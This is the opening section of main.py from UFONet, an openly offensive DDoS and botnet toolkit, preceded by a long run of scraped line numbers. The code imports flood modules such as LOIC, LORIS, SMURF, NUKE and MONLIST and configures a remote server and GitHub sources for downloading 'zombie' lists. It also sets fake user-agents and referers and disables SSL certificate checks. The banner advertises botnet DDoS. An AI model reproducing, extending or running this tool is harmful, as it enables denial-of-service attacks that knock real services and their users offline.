main.py 275 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394959697989910010110210310410510610710810911011111211311411511611711811912012112212312412512612712812913013113213313413513613713813914014114214314414514614714814915015115215315415515615715815916016116216316416516616716816917017117217317417517617717817918018118218318418518618718818919019119219319419519619719819920020120220320420520620720820921021121221321421521621721821922022122222322422522622722822923023123223323423523623723823924024124224324424524624724824925025125225325425525625725825926026126226326426526626726826927027127227327427527627727827928028128228328428528628728828929029129229329429529629729829930030130230330430530630730830931031131231331431531631731831932032132232332432532632732832933033133233333433533633733833934034134234334434534634734834935035135235335435535635735835936036136236336436536636736836937037137237337437537637737837938038138238338438538638738838939039139239339439539639739839940040140240340440540640740840941041141241341441541641741841942042142242342442542642742842943043143243343443543643743843944044144244344444544644744844945045145245345445545645745845946046146246346446546646746846947047147247347447547647747847948048148248348448548648748848949049149249349449549649749849950050150250350450550650750850951051151251351451551651751851952052152252352452552652752852953053153253353453553653753853954054154254354454554654754854955055155255355455555655755855956056156256356456556656756856957057157257357457557657757857958058158258358458558658758858959059159259359459559659759859960060160260360460560660760860961061161261361461561661761861962062162262362462562662762862963063163263363463563663763863964064164264364464564664764864965065165265365465565665765865966066166266366466566666766866967067167267367467567667767867968068168268368468568668768868969069169269369469569669769869970070170270370470570670770870971071171271371471571671771871972072172272372472572672772872973073173273373473573673773873974074174274374474574674774874975075175275375475575675775875976076176276376476576676776876977077177277377477577677777877978078178278378478578678778878979079179279379479579679779879980080180280380480580680780880981081181281381481581681781881982082182282382482582682782882983083183283383483583683783883984084184284384484584684784884985085185285385485585685785885986086186286386486586686786886987087187287387487587687787887988088188288388488588688788888989089189289389489589689789889990090190290390490590690790890991091191291391491591691791891992092192292392492592692792892993093193293393493593693793893994094194294394494594694794894995095195295395495595695795895996096196296396496596696796896997097197297397497597697797897998098198298398498598698798898999099199299399499599699799899910001001100210031004100510061007100810091010101110121013101410151016101710181019102010211022102310241025102610271028102910301031103210331034103510361037103810391040104110421043104410451046104710481049105010511052105310541055105610571058105910601061106210631064106510661067106810691070107110721073107410751076107710781079108010811082108310841085108610871088108910901091109210931094109510961097109810991100110111021103110411051106110711081109111011111112111311141115111611171118111911201121112211231124112511261127112811291130113111321133113411351136113711381139114011411142114311441145114611471148114911501151115211531154115511561157115811591160116111621163116411651166116711681169117011711172117311741175117611771178117911801181118211831184118511861187118811891190119111921193119411951196119711981199120012011202120312041205120612071208120912101211121212131214121512161217121812191220122112221223122412251226122712281229123012311232123312341235123612371238123912401241124212431244124512461247124812491250125112521253125412551256125712581259126012611262126312641265126612671268126912701271127212731274127512761277127812791280128112821283128412851286128712881289129012911292129312941295129612971298129913001301130213031304130513061307130813091310131113121313131413151316131713181319132013211322132313241325132613271328132913301331133213331334133513361337133813391340134113421343134413451346134713481349135013511352135313541355135613571358135913601361136213631364136513661367136813691370137113721373137413751376137713781379138013811382138313841385138613871388138913901391139213931394139513961397139813991400140114021403140414051406140714081409141014111412141314141415141614171418141914201421142214231424142514261427142814291430143114321433143414351436143714381439144014411442144314441445144614471448144914501451145214531454145514561457145814591460146114621463146414651466146714681469147014711472147314741475147614771478147914801481148214831484148514861487148814891490149114921493149414951496149714981499150015011502150315041505150615071508150915101511151215131514151515161517151815191520152115221523152415251526152715281529153015311532153315341535153615371538153915401541154215431544154515461547154815491550155115521553155415551556155715581559156015611562156315641565156615671568156915701571157215731574157515761577157815791580158115821583158415851586158715881589159015911592159315941595159615971598159916001601160216031604160516061607160816091610161116121613161416151616161716181619162016211622162316241625162616271628162916301631163216331634163516361637163816391640164116421643164416451646164716481649165016511652165316541655165616571658165916601661166216631664166516661667166816691670167116721673167416751676167716781679168016811682168316841685168616871688168916901691169216931694169516961697169816991700170117021703170417051706170717081709171017111712171317141715171617171718171917201721172217231724172517261727172817291730173117321733173417351736173717381739174017411742174317441745174617471748174917501751175217531754175517561757175817591760176117621763176417651766176717681769177017711772177317741775177617771778177917801781178217831784178517861787178817891790179117921793179417951796179717981799180018011802180318041805180618071808180918101811181218131814181518161817181818191820182118221823182418251826182718281829183018311832183318341835183618371838183918401841184218431844184518461847184818491850185118521853185418551856185718581859186018611862186318641865186618671868186918701871187218731874187518761877187818791880188118821883188418851886188718881889189018911892189318941895189618971898189919001901190219031904190519061907190819091910191119121913191419151916191719181919192019211922192319241925192619271928192919301931193219331934193519361937193819391940194119421943194419451946194719481949195019511952195319541955195619571958195919601961196219631964196519661967196819691970197119721973197419751976197719781979198019811982198319841985198619871988198919901991199219931994199519961997199819992000200120022003200420052006200720082009201020112012201320142015201620172018201920202021202220232024202520262027202820292030203120322033203420352036203720382039204020412042204320442045204620472048204920502051205220532054205520562057205820592060206120622063206420652066206720682069207020712072207320742075207620772078207920802081208220832084208520862087208820892090209120922093209420952096209720982099210021012102210321042105210621072108210921102111211221132114211521162117211821192120212121222123212421252126212721282129213021312132213321342135213621372138213921402141214221432144214521462147214821492150215121522153215421552156215721582159216021612162216321642165216621672168216921702171217221732174217521762177217821792180218121822183218421852186218721882189219021912192219321942195219621972198219922002201220222032204220522062207220822092210221122122213221422152216221722182219222022212222222322242225222622272228222922302231223222332234223522362237223822392240224122422243224422452246224722482249225022512252225322542255225622572258225922602261226222632264226522662267226822692270227122722273227422752276227722782279228022812282228322842285228622872288228922902291229222932294229522962297229822992300230123022303230423052306230723082309231023112312231323142315231623172318231923202321232223232324232523262327232823292330233123322333233423352336233723382339234023412342234323442345234623472348234923502351235223532354235523562357235823592360236123622363236423652366236723682369237023712372237323742375237623772378237923802381238223832384238523862387238823892390239123922393239423952396239723982399240024012402240324042405240624072408240924102411241224132414241524162417241824192420242124222423242424252426242724282429243024312432243324342435243624372438243924402441244224432444244524462447244824492450245124522453245424552456245724582459246024612462246324642465246624672468246924702471247224732474247524762477247824792480248124822483248424852486248724882489249024912492249324942495249624972498249925002501250225032504250525062507250825092510251125122513251425152516251725182519252025212522252325242525252625272528252925302531253225332534253525362537253825392540254125422543254425452546254725482549255025512552255325542555255625572558255925602561256225632564256525662567256825692570257125722573257425752576257725782579258025812582258325842585258625872588258925902591259225932594259525962597259825992600260126022603260426052606260726082609261026112612261326142615261626172618261926202621262226232624262526262627262826292630263126322633263426352636263726382639264026412642264326442645264626472648264926502651265226532654265526562657265826592660266126622663266426652666266726682669267026712672267326742675267626772678267926802681268226832684268526862687268826892690269126922693269426952696269726982699270027012702270327042705270627072708270927102711271227132714271527162717271827192720272127222723272427252726272727282729273027312732273327342735273627372738273927402741274227432744274527462747274827492750275127522753275427552756275727582759276027612762276327642765276627672768276927702771277227732774277527762777277827792780278127822783278427852786278727882789279027912792279327942795279627972798279928002801280228032804280528062807280828092810281128122813281428152816281728182819282028212822282328242825282628272828282928302831283228332834283528362837283828392840284128422843284428452846284728482849285028512852285328542855285628572858285928602861286228632864286528662867286828692870287128722873287428752876287728782879288028812882288328842885288628872888288928902891289228932894289528962897289828992900290129022903290429052906290729082909291029112912291329142915291629172918291929202921292229232924292529262927292829292930293129322933293429352936293729382939294029412942294329442945294629472948294929502951295229532954295529562957295829592960296129622963296429652966296729682969297029712972297329742975297629772978297929802981298229832984298529862987298829892990299129922993299429952996299729982999300030013002300330043005300630073008300930103011301230133014301530163017301830193020302130223023302430253026302730283029303030313032303330343035303630373038303930403041304230433044304530463047304830493050305130523053305430553056305730583059306030613062306330643065306630673068306930703071307230733074307530763077307830793080308130823083308430853086308730883089309030913092309330943095309630973098309931003101310231033104310531063107310831093110311131123113311431153116311731183119312031213122312331243125312631273128312931303131313231333134313531363137313831393140314131423143314431453146314731483149315031513152315331543155315631573158315931603161316231633164316531663167316831693170317131723173317431753176317731783179318031813182318331843185318631873188318931903191319231933194319531963197319831993200320132023203320432053206320732083209321032113212321332143215321632173218321932203221322232233224322532263227322832293230323132323233323432353236323732383239324032413242324332443245324632473248324932503251325232533254325532563257325832593260326132623263326432653266326732683269327032713272327332743275327632773278327932803281328232833284328532863287328832893290329132923293329432953296329732983299330033013302330333043305330633073308330933103311331233133314331533163317331833193320332133223323332433253326332733283329333033313332333333343335333633373338333933403341334233433344334533463347334833493350335133523353335433553356335733583359336033613362336333643365336633673368336933703371337233733374337533763377337833793380338133823383338433853386338733883389339033913392339333943395339633973398339934003401340234033404340534063407340834093410341134123413341434153416341734183419342034213422342334243425342634273428342934303431343234333434343534363437343834393440344134423443344434453446344734483449345034513452345334543455345634573458345934603461346234633464346534663467346834693470347134723473347434753476347734783479348034813482348334843485348634873488348934903491349234933494349534963497349834993500350135023503350435053506350735083509351035113512351335143515351635173518351935203521352235233524352535263527352835293530353135323533353435353536353735383539354035413542354335443545354635473548354935503551355235533554355535563557355835593560356135623563356435653566356735683569357035713572357335743575357635773578357935803581358235833584358535863587358835893590359135923593359435953596359735983599360036013602360336043605360636073608360936103611361236133614361536163617361836193620362136223623362436253626362736283629363036313632363336343635363636373638363936403641364236433644364536463647364836493650365136523653365436553656365736583659366036613662366336643665366636673668366936703671367236733674367536763677367836793680368136823683368436853686368736883689369036913692369336943695369636973698369937003701370237033704370537063707370837093710371137123713371437153716371737183719372037213722372337243725372637273728372937303731373237333734373537363737373837393740374137423743374437453746374737483749375037513752375337543755375637573758375937603761376237633764376537663767376837693770377137723773377437753776377737783779378037813782378337843785378637873788378937903791379237933794379537963797379837993800380138023803380438053806380738083809381038113812381338143815381638173818381938203821382238233824382538263827382838293830383138323833383438353836383738383839384038413842384338443845384638473848384938503851385238533854385538563857385838593860386138623863386438653866386738683869387038713872387338743875387638773878387938803881388238833884388538863887388838893890389138923893389438953896389738983899390039013902390339043905390639073908390939103911391239133914391539163917391839193920392139223923392439253926392739283929393039313932393339343935393639373938393939403941394239433944394539463947394839493950395139523953395439553956395739583959396039613962396339643965396639673968396939703971397239733974397539763977397839793980398139823983398439853986398739883989399039913992399339943995399639973998399940004001400240034004400540064007400840094010401140124013401440154016401740184019402040214022402340244025402640274028402940304031403240334034403540364037403840394040404140424043404440454046404740484049405040514052405340544055405640574058405940604061406240634064406540664067406840694070407140724073407440754076407740784079408040814082408340844085408640874088408940904091409240934094409540964097409840994100410141024103410441054106410741084109411041114112411341144115411641174118411941204121412241234124412541264127412841294130413141324133413441354136413741384139414041414142414341444145414641474148414941504151415241534154415541564157415841594160416141624163416441654166416741684169417041714172417341744175417641774178417941804181418241834184418541864187418841894190419141924193419441954196419741984199420042014202420342044205420642074208420942104211421242134214421542164217421842194220422142224223422442254226422742284229423042314232423342344235423642374238423942404241424242434244424542464247424842494250425142524253425442554256425742584259426042614262426342644265426642674268426942704271427242734274427542764277427842794280428142824283428442854286428742884289429042914292429342944295429642974298429943004301430243034304430543064307430843094310431143124313431443154316431743184319432043214322432343244325432643274328432943304331433243334334433543364337433843394340434143424343434443454346434743484349435043514352435343544355435643574358435943604361436243634364436543664367436843694370437143724373437443754376437743784379438043814382438343844385438643874388438943904391439243934394439543964397439843994400440144024403440444054406440744084409441044114412441344144415441644174418441944204421442244234424442544264427442844294430443144324433443444354436443744384439444044414442444344444445444644474448444944504451445244534454445544564457445844594460446144624463446444654466446744684469447044714472447344744475447644774478447944804481448244834484448544864487448844894490449144924493449444954496449744984499450045014502450345044505450645074508450945104511451245134514451545164517451845194520452145224523452445254526452745284529453045314532453345344535453645374538453945404541454245434544454545464547454845494550455145524553455445554556455745584559456045614562456345644565456645674568456945704571457245734574457545764577457845794580458145824583458445854586458745884589459045914592459345944595459645974598459946004601460246034604460546064607460846094610461146124613461446154616461746184619462046214622462346244625462646274628462946304631463246334634463546364637463846394640464146424643464446454646464746484649465046514652465346544655465646574658465946604661466246634664466546664667466846694670467146724673467446754676467746784679468046814682468346844685468646874688468946904691469246934694469546964697469846994700470147024703470447054706470747084709471047114712471347144715471647174718471947204721472247234724472547264727472847294730473147324733473447354736473747384739474047414742474347444745474647474748474947504751475247534754475547564757475847594760476147624763476447654766476747684769477047714772477347744775477647774778477947804781478247834784478547864787478847894790479147924793479447954796479747984799480048014802480348044805480648074808480948104811481248134814481548164817481848194820482148224823482448254826482748284829483048314832483348344835483648374838483948404841484248434844484548464847484848494850485148524853485448554856485748584859486048614862486348644865486648674868486948704871487248734874487548764877487848794880488148824883488448854886488748884889489048914892489348944895489648974898489949004901490249034904490549064907490849094910491149124913491449154916491749184919492049214922492349244925492649274928492949304931493249334934493549364937493849394940494149424943494449454946494749484949495049514952495349544955495649574958495949604961496249634964496549664967496849694970497149724973497449754976497749784979498049814982498349844985498649874988498949904991499249934994499549964997499849995000500150025003500450055006500750085009501050115012501350145015501650175018501950205021502250235024502550265027502850295030503150325033503450355036503750385039504050415042504350445045504650475048504950505051505250535054505550565057505850595060506150625063506450655066506750685069507050715072507350745075507650775078507950805081508250835084508550865087508850895090509150925093509450955096509750985099510051015102510351045105510651075108510951105111511251135114511551165117511851195120512151225123512451255126512751285129513051315132513351345135513651375138513951405141514251435144514551465147514851495150515151525153515451555156515751585159516051615162516351645165516651675168516951705171517251735174517551765177517851795180518151825183518451855186518751885189519051915192519351945195519651975198519952005201520252035204520552065207520852095210521152125213521452155216521752185219522052215222522352245225522652275228522952305231523252335234523552365237523852395240524152425243524452455246524752485249525052515252525352545255525652575258525952605261526252635264526552665267526852695270527152725273527452755276527752785279528052815282528352845285528652875288528952905291529252935294529552965297529852995300530153025303530453055306530753085309531053115312531353145315531653175318531953205321532253235324532553265327532853295330533153325333533453355336533753385339534053415342534353445345534653475348534953505351535253535354535553565357535853595360536153625363536453655366536753685369537053715372537353745375537653775378537953805381538253835384538553865387538853895390539153925393539453955396539753985399540054015402540354045405540654075408540954105411541254135414541554165417541854195420542154225423542454255426542754285429543054315432543354345435543654375438543954405441544254435444544554465447544854495450545154525453545454555456545754585459546054615462546354645465546654675468546954705471547254735474547554765477547854795480548154825483548454855486548754885489549054915492549354945495549654975498549955005501550255035504550555065507550855095510551155125513551455155516551755185519552055215522552355245525552655275528552955305531553255335534553555365537
  1. #!/usr/bin/env python3
  2. # -*- coding: utf-8 -*-"
  3. """
  4. This file is part of the UFONet project, https://ufonet.03c8.net
  5. Copyright (c) 2013/2021 | psy <epsylon@riseup.net>
  6. You should have received a copy of the GNU General Public License along
  7. with UFONet; if not, write to the Free Software Foundation, Inc., 51
  8. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  9. """
  10. import os, sys, re, traceback, random, time, threading, base64, string, math
  11. import io, socket, ssl, cgi, json, gzip
  12. try:
  13. from urllib.parse import urlparse as urlparse
  14. except:
  15. from urlparse import urlparse as urlparse
  16. try:
  17. import urllib.request, urllib.error, urllib.parse
  18. except:
  19. print ("\n[Error] UFONet no longer supports Python2: (https://www.python.org/doc/sunset-python-2/)\n\n[Info] [AI] Try to run the tool with Python3.x.y (ex: python3 ufonet)\n")
  20. sys.exit()
  21. from uuid import getnode
  22. from random import randrange, shuffle
  23. from .options import UFONetOptions
  24. from .update import Updater
  25. from .herd import Herd
  26. from .zombie import Zombie
  27. from .doll import Doll
  28. from core.tools.inspector import Inspector
  29. from core.tools.abductor import Abductor
  30. from core.tools.ufoscan import UFOSCAN
  31. from core.mods.loic import LOIC
  32. from core.mods.loris import LORIS
  33. from core.mods.ufosyn import UFOSYN
  34. from core.mods.spray import SPRAY
  35. from core.mods.smurf import SMURF
  36. from core.mods.xmas import XMAS
  37. from core.mods.nuke import NUKE
  38. from core.mods.tachyon import TACHYON
  39. from core.mods.monlist import MONLIST
  40. from core.mods.sniper import SNIPER
  41. from core.mods.ufoack import UFOACK
  42. from core.mods.uforst import UFORST
  43. from core.mods.droper import DROPER
  44. from core.mods.overlap import OVERLAP
  45. from core.mods.pinger import PINGER
  46. from core.mods.ufoudp import UFOUDP
  47. from core.mods.fraggle import FRAGGLE
  48. DEBUG = False # use 'True' for detailed traceback
  49. class UFONet(object):
  50. def __init__(self):
  51. self.exit_msg = 'Donate BTC (Bitcoin) to keep UFONet (https://ufonet.03c8.net) strong!' # set msg show at the end [FILO ;-)]
  52. self.blackhole = '176.28.23.46' # default download/upload zombies [Blackhole] [Server] / Try [DIY] your own [Mirror]...
  53. self.GIT_REPOSITORY = 'https://code.03c8.net/epsylon/ufonet' # oficial code source [OK! 22/12/2018]
  54. self.GIT_REPOSITORY2 = 'https://github.com/epsylon/ufonet' # mirror source [since: 04/06/2018]
  55. self.github_zombies = 'https://raw.githubusercontent.com/epsylon/ufonet/master/botnet/' # default [RAW] download/upload zombies [Blackhole] [GitHub] [DIY]
  56. self.external_check_service1 = 'https://status.ws/' # set external check service 1 [OK! 26/02/2020]
  57. self.external_check_service2 = 'https://downforeveryoneorjustme.com/' # set external check service 2 [OK! 26/02/2020]
  58. self.check_tor_url = 'https://check.torproject.org/' # TOR status checking site
  59. self.check_ip_service1 = 'https://checkip.org/' # set external check ip service 1 [OK! 06/06/2020]
  60. self.check_ip_service2 = 'https://whatismyip.org/' # set external check ip service 2 [OK! 06/06/2020]
  61. self.check_ip_service3 = 'https://ip.42.pl/ra' # set external check ip service 3 [OK! [06/06/2020]
  62. self.agents_file = 'core/txt/user-agents.txt' # set source path to retrieve user-agents
  63. self.motherships_file = 'core/txt/motherships.txt' # set source path to retrieve mothership names
  64. self.zombies_file = 'botnet/zombies.txt' # set source path to retrieve [Zombies]
  65. self.aliens_file = 'botnet/aliens.txt' # set source path to retrieve [Aliens]
  66. self.dnss_file = 'botnet/dns.txt' # set source path to retrieve [DNSs]
  67. self.droids_file = 'botnet/droids.txt' # set source path to retrieve [Droids]
  68. self.ucavs_file = 'botnet/ucavs.txt' # set source path to retrieve 'ucavs'
  69. self.rpcs_file = 'botnet/rpcs.txt' # set source path to retrieve 'rpcs'
  70. self.ntps_file = 'botnet/ntp.txt' # set source path to retrieve [NTPs]
  71. self.snmps_file = 'botnet/snmp.txt' # set source path to retrieve [SNMPs]
  72. self.humans_file = 'botnet/humans.txt' # set source path to retrieve 'humans'
  73. self.dorks_file = 'botnet/dorks.txt' # set source path to retrieve [Dorks]
  74. self.mothership_stats_file = 'core/json/stats.json' # set source for mothership stats
  75. self.timeline_file = 'docs/VERSION' # set source for code releases
  76. self.links_file = "data/links.txt" # set source path to retrieve [Blackhole] [Links]
  77. self.streams_file = "data/streams.txt" # set source path to retrieve [Blackhole] [Streams]
  78. self.globalnet_file = "data/globalnet.txt" # set source path to retrieve [Blackhole] [Globalnet]
  79. self.news_file = "data/news.txt" # set source path to retrieve [Blackhole] [News]
  80. self.missions_file = "data/missions.txt" # set source path to retrieve [Blackhole] [Missions]
  81. self.board_file = "data/board.txt" # set source path to retrieve [Blackhole] [Board]
  82. self.grid_file = "data/grid.txt" # set source path to retrieve [Blackhole] [Grid]
  83. self.wargames_file = "data/wargames.txt" # set source path to retrieve [Blackhole] [Wargames]
  84. self.examples_file = "docs/examples.txt" # set source path to retrieve [Examples]
  85. self.misc_file = "core/txt/misc.txt" # set source path to retrieve [Miscellania] cites
  86. self.referer = '' # black magic
  87. self.port = "8080" # default injection port
  88. self.mothershipname = "core/txt/shipname.txt"
  89. self.default_mothership_name = "l4m3r-lulz/0\n" # default mothership name
  90. self.mothership_baptism() # generating static name/id for your mothership ;-)
  91. self.head = False
  92. self.payload = False
  93. self.external = False
  94. self.attack_mode = False
  95. self.connection_failed = False
  96. self.total_possible_zombies = 0
  97. self.herd = Herd(self)
  98. self.sem = False
  99. self.db_flash = 0 # db stress counter
  100. self.total_aliens = 0
  101. self.aliens_hit = 0
  102. self.aliens_fail = 0
  103. self.total_droids = 0
  104. self.droids_hit = 0
  105. self.droids_fail = 0
  106. self.total_ucavs = 0
  107. self.ucavs_hit = 0
  108. self.ucavs_fail = 0
  109. self.total_rpcs = 0
  110. self.rpcs_hit = 0
  111. self.rpcs_fail = 0
  112. self.total_loic = 0
  113. self.total_loris = 0
  114. self.total_syn = 0
  115. self.total_spray = 0
  116. self.total_smurf = 0
  117. self.total_fraggle = 0
  118. self.total_xmas = 0
  119. self.total_ufoack = 0
  120. self.total_uforst = 0
  121. self.total_droper = 0
  122. self.total_overlap = 0
  123. self.total_pinger = 0
  124. self.total_ufoudp = 0
  125. self.total_nuke = 0
  126. self.total_tachyon = 0
  127. self.total_monlist = 0
  128. self.total_sniper = 0
  129. self.total_zombies_failed_connection = 0
  130. self.ctx = ssl.create_default_context() # creating context to bypass SSL cert validation (black magic)
  131. self.ctx.check_hostname = False
  132. self.ctx.verify_mode = ssl.CERT_NONE
  133. self.nat_error_flag = "OFF"
  134. self.trans_zombies = 0
  135. self.scanned_zombies = 0
  136. self.loadcheck_counter = 0
  137. self.loadcheck_prev_size = None
  138. self.loadcheck_prev_load = None
  139. self.loadcheck_first_size = None
  140. self.loadcheck_first_load = None
  141. self.loadcheck_size_list = []
  142. self.loadcheck_load_list = []
  143. self.loadcheck_size_median = None
  144. self.loadcheck_size_max = None
  145. self.loadcheck_size_min = None
  146. self.loadcheck_load_median = None
  147. self.loadcheck_size_max = None
  148. self.loadcheck_size_min = None
  149. self.num_is_up = 0 # counter for [UCAVs] 'up' reports
  150. self.num_is_down = 0 # counter for [UCAVs] 'down' reports
  151. self.expire_timing = 30 # default expiring time per round
  152. self.extra_zombies_lock = False # used to lock threading flow when [ARMY] is required
  153. self.ac_control = [] # used by 'herd.py' to lock threading flow when [Zombies] are returning
  154. def mothership_baptism(self):
  155. if os.path.exists(self.mothershipname) == True:
  156. f = open(self.mothershipname)
  157. self.mothership_id = f.read()
  158. f.close()
  159. else:
  160. self.mothership_ids = []
  161. try:
  162. f = open(self.motherships_file)
  163. motherships = f.readlines()
  164. f.close()
  165. for ship in motherships:
  166. ship = ship.encode("utf-8")
  167. self.mothership_ids.append(base64.urlsafe_b64encode(ship))
  168. try:
  169. self.mothership_id = str(base64.b64decode(random.choice(self.mothership_ids).strip()), 'utf-8')
  170. except:
  171. try:
  172. self.mothership_id = str(base64.b64decode(random.choice(self.mothership_ids).strip()), 'latin-1')+"\n" # id (hack&slash!) creation ;-)
  173. except:
  174. self.mothership_id = self.default_mothership_name
  175. except:
  176. self.mothership_id = self.default_mothership_name
  177. if len(str(self.mothership_id.upper())) > 20: # motherhip naming anti-cheating! ;-)
  178. self.mothership_id = self.default_mothership_name
  179. m = open(self.mothershipname, "w") # write mothership name to a static file
  180. m.write(str(self.mothership_id.upper()))
  181. m.close()
  182. def create_options(self, args=None):
  183. self.optionParser = UFONetOptions()
  184. self.options = self.optionParser.get_options(args)
  185. if not self.options:
  186. return False
  187. return self.options
  188. def banner_welcome(self):
  189. print("")
  190. print(" || /\ || #===============================================#")
  191. print(" -(00)- + (XX) + -(00)- || ||")
  192. print(" || || *~~~~~~~~* || || || > Botnet [DDoS] # > Close Combat [DoS] ||")
  193. print(" -(00)- (0) XX (0) -(00)- || ||")
  194. print(" || \| (00) |/ || || |-> ZOMBIES # |-> LOIC ||")
  195. print(" (O)_ (O) 0'----'0 (O) _(O) || |-> DROIDS # |-> LORIS ||")
  196. print(" | |.''.( xx ).''.| | || |-> ALIENS # |-> UFOSYN ||")
  197. print(" .'.' X|'..'|X '.'. || |-> UCAVs # |-> XMAS ||")
  198. print(" .-. .' /'--.__|_00_|__.--'\ '. .-. || |-> X-RPCs # |-> NUKE ||")
  199. print(" (O).)-|0| \ x| ## |x / |0|-(.(O) || |-> DBSTRESS # |-> UFOACK ||")
  200. print(" `-' '-'-._'-./ -00- \.-'_.-'-' `-' || |-> SPRAY # |-> UFORST ||")
  201. print(" _ | || '-.___||___.-' || | _ || |-> SMURF # |-> DROPER ||")
  202. print(" .' _ | ||==O | __ | O==|| | _ '. || |-> TACHYON # |-> OVERLAP ||")
  203. print(" / .' ''.| || | /_00_\ | || |.'' '. \ || |-> MONLIST # |-> PINGER ||")
  204. print(" | '### | =| | ###### | |= |' ### | || |-> FRAGGLE # |-> UFOUDP ||")
  205. print(" | |(0)| '. 0\||__**_ ||/0 .' |(0)| | || |-> SNIPER # ||")
  206. print(" \ '._.' '. | \_##_/ | .' '._.' / || ||")
  207. print(" '.__ ____0_'.|__'--'__|.'_0____ __.' #|=============================================|#")
  208. print(" .'_.-| YY |-._'. || ||")
  209. print(" || -> [ UFONet: https://ufonet.03c8.net ] <- ||")
  210. print(" + Class: PSYoPs / ViPR404+ (model I^) + || ||")
  211. print(" #|=============================================|#")
  212. print("")
  213. def banner(self):
  214. print('='*75, "\n")
  215. print("888 888 8888888888 .d88888b. 888b 888 888 ")
  216. print("888 888 888 d88P Y888b 8888b 888 888 ")
  217. print("888 888 888 888 888 88888b 888 888 ")
  218. print("888 888 8888888 888 888 888Y88b 888 .d88b. 888888 ")
  219. print("888 888 888 888 888 888 Y88b888 d8P Y8b 888 ")
  220. print("888 888 888 888 888 888 Y88888 88888888 888 ")
  221. print("Y88b. .d88P 888 Y88b. .d88P 888 Y8888 Y8b. Y88b. ")
  222. print(" 'Y88888P' 888 'Y88888P' 888 Y888 'Y8888 'Y8888")
  223. print(self.optionParser.description, "\n")
  224. print('='*75)
  225. def generate_exit_msg(self):
  226. self.exit_msg = "Generating random exit... \n\n"
  227. try:
  228. f = open(self.misc_file)
  229. m = f.readlines()
  230. f.close()
  231. self.exit_msg += " -> "+str(random.choice(m).strip())
  232. except:
  233. self.exit_msg += " -> Donate BTC (Bitcoin) to keep #UFONet (https://ufonet.03c8.net) strong!"
  234. def AI(self):
  235. try:
  236. import turtle as AI
  237. print("\n[AI] Making a unique drawing using 'Turtle' (Feurzig & Papert - 1966) -> [OK!]\n")
  238. colors = ['red', 'purple', 'blue', 'green', 'orange', 'yellow']
  239. bg = random.choice(colors).strip()
  240. t = AI.Pen()
  241. AI.bgcolor(bg)
  242. r = random.randrange(100,100000)
  243. for x in range(r):
  244. t.pencolor(colors[x%6])
  245. w = random.randrange(100,1000)
  246. t.width(x/w + 1)
  247. t.forward(x)
  248. l = random.randrange(50,1000)
  249. t.left(l)
  250. except:
  251. print("[AI] %!$1#9#84#~... -> [Exiting!]")
  252. pass
  253. def round_float(self, num):
  254. return str(int(round(num, -1)))[2] # black magic
  255. def show_mac_address(self):
  256. mac = getnode() # to get physical address
  257. hex_mac = str(":".join(re.findall('..', '%012x' % mac)))
  258. return hex_mac
  259. def show_ips(self):
  260. import requests
  261. try:
  262. s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  263. s.connect(("8.8.8.8", 80))
  264. private_ip = s.getsockname()[0] # black magic
  265. s.close()
  266. except:
  267. private_ip = "Unknown"
  268. try:
  269. public_ip = requests.get(self.check_ip_service3).text
  270. except:
  271. try:
  272. public_ip = requests.get(self.check_ip_service2).text
  273. except:
  274. try:
  275. public_ip = requests.get(self.check_ip_service1).text
  276. except:
  277. public_ip = "Unknown"
  278. return private_ip, public_ip
  279. def try_running(self, func, error, args=None):
  280. options = self.options
  281. args = args or []
  282. try:
  283. return func(*args)
  284. except Exception as e:
  285. if DEBUG == True:
  286. print(error, "error")
  287. traceback.print_exc()
  288. def checkeuid(self):
  289. try:
  290. euid = os.geteuid()
  291. except:
  292. print("[Error] [AI] [UFONet] doesn't work correctly in systems with closed licenses...-> [Exiting!]\n")
  293. print("[AI] "+self.exit_msg+"\n")
  294. sys.exit(2) # return
  295. return euid
  296. def start_ship_engine(self):
  297. self.agents = [] # generating available user-agents
  298. f = open(self.agents_file)
  299. agents = f.readlines()
  300. f.close()
  301. for agent in agents:
  302. self.agents.append(agent)
  303. self.user_agent = random.choice(self.agents).strip()
  304. self.search_engines = [] # available dorking search engines
  305. self.search_engines.append('bing') # [01/02/2020: OK!]
  306. self.search_engines.append('yahoo') # [01/02/2020: OK!]
  307. self.search_engines.append('duck') # [01/02/2020: OK!]
  308. #self.search_engines.append('startpage') # [01/02/2020: deprecated! -> blocking instream params search]
  309. #self.search_engines.append('yandex') # [03/02/2018: deprecated! -> captchasound]
  310. #self.search_engines.append('google') # [09/08/2016: modified -> not working from TOR]
  311. if not os.path.exists("core/json/"): # create gui json cfg files folder
  312. os.mkdir("core/json/")
  313. self.banner_welcome()
  314. self.update_flying_stats() # update flying time stats
  315. chargo = self.check_mothership_chargo() # check mothership chargo
  316. self.update_max_chargo(int(chargo)) # update max chargo stats
  317. self.generate_exit_msg() # generate random exit msg
  318. def run(self, opts=None):
  319. if opts:
  320. self.create_options(opts)
  321. options = self.options
  322. # start threads
  323. if not self.options.threads:
  324. self.options.threads=5 # default number of threads
  325. self.sem = threading.Semaphore(self.options.threads)
  326. # start ship engine
  327. self.start_ship_engine()
  328. # check proxy options
  329. proxy = options.proxy
  330. if options.proxy:
  331. try:
  332. pattern = 'http[s]?://(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5]):[0-9][0-9][0-9][0-9]'
  333. m = re.search(pattern, proxy)
  334. if m is None:
  335. self.banner()
  336. print ("\n[Error] [AI] Proxy malformed! (ex: 'http(s)://127.0.0.1:8118') -> [Exiting!]\n")
  337. return
  338. else:
  339. self.proxy_transport(options.proxy) # create proxy transport (also here, to be sure)
  340. except Exception:
  341. self.banner()
  342. print ("\n[Error] [AI] Proxy malformed! (ex: 'http(s)://127.0.0.1:8118') -> [Exiting!]\n")
  343. return
  344. # check tor connection
  345. if options.checktor:
  346. url = self.check_tor_url # TOR status checking site
  347. self.banner()
  348. print("\nSending request to: " + url + "\n")
  349. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  350. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  351. try:
  352. if options.proxy: # set proxy
  353. self.proxy_transport(options.proxy)
  354. req = urllib.request.Request(url, None, headers)
  355. tor_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  356. your_ip = tor_reply.split('<strong>')[1].split('</strong>')[0].strip() # extract public IP
